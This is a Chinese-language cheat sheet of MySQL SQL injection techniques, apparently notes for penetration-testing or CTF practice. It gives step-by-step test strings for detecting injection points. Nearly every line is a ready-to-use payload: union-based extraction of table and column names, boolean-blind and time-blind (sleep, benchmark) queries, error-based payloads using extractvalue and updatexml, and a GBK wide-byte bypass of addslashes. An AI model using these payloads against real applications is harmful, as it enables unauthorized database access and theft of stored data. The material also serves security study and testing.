常用函数
addslashes()在' " \ NULL前面加反斜杠stripslashes()删除由addslashes()函数添加的反斜杠mysql_real_escape_string()转译\x00 \n \r \ ' " \x1a
判断是否有注入-测试步骤
注释可用
%23、--+、#如果加
单引号报错说明是数字型或者是单引号的字符型如果加
双引号报错说明是数字型或者是双引号的字符型
1、数字型
id=1'报错id=1 and 1=1 %23正常,有数据id=1 and 1=2 %23正常,无数据
2、字符型
id=1'报错id=1' and 1=1 %23正常,有数据id=1' and 1=2 %23正常,无数据
3、小括号+数字型
id=1'报错id=1) and 1=1 %23正常,有数据id=1) and 1=2 %23正常,无数据
4、小括号+字符型
id=1'报错id=1') and 1=1 %23正常,有数据id=1') and 1=2 %23正常,无数据
这里要多尝试,有可能有多个小括号,比如id=((($id)))
判断列数
id=1' and 1=1 order by 3 %23
判断回显点
id=1' and 1=1 union select 1,2,3 %23
获取表名
id=1' and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 3,4 %23
获取列名
id=1' and 1=2 union select 1,2,column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1 %23
布尔盲注
常用函数 substring、ascii、length
获取表的个数(表的个数是否是3)
id=1' and (select count(*) from information_schema.tables where table_schema=database())=3 %23
获取表名(第一个表的第一个字符是否是e)
id=1' and substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' %23
获取表名长度(第一个表名的长度是6)
id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 %23
获取表名(第一个表的第一个字符的ascii是否>100)
id=1' and ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>100 %23
获取列名(第一个列名的第一个字符的ascii是否是105,再获取列名个数,再获取列名长度,再获取列名)
id=1' and ascii(substring((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1),1,1)) =105 %23
获取列名长度(第一个列名的长度是2)
id=1' and length((select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 0,1)) =2
获取列的个数(列的个数是否是3)
id=1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users')=3 %23
获取数据
id=1' and ascii(substring((select 列名 from 表名 limit 0,1),1,1))>100 %23
时间盲注(可搭配布尔盲注的语句放在if的判断条件里面)
常用函数
sleep、benchmark、substring、ascii、length
sleep
id=1' and 1=2 union select 1,2,if(1=1,sleep(3),'1') %23
benchmark
id=1' and 1=2 union select 1,2,if(1=1,benchmark(3e8,abs(1)),'1') %23
报错注入
extractvalue
语句:SELECT 1,(extractvalue(1,concat(0x7e,(select database()),0x7e)))
利用版本:mysql>=5.1,长度<=32位
原理:extractvalue接收的第二个参数是xpath,不满足xpath格式就会报错
updatexml
语句:SELECT 1,updatexml(1,concat(0x7e,user(),0x7e),1)
利用版本:mysql>=5.1.5,长度<=32位
原理:updatexml接收的第二个参数是xpath,不满足xpath格式就会报错
宽字节注入
前端输入%df%27时,首先经过addslashes(),%27会被加上反引号 “\” (%5c),所以转义变成了
%df%5c%27,之后,在数据库查询前,因为设置了>GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码为一个汉字。然后,MySQL服务器就会对查询 >语句进行GBK编码,即%df%5c被编码成了“運”,而单引号就逃逸了出来,从而形成了注入漏洞。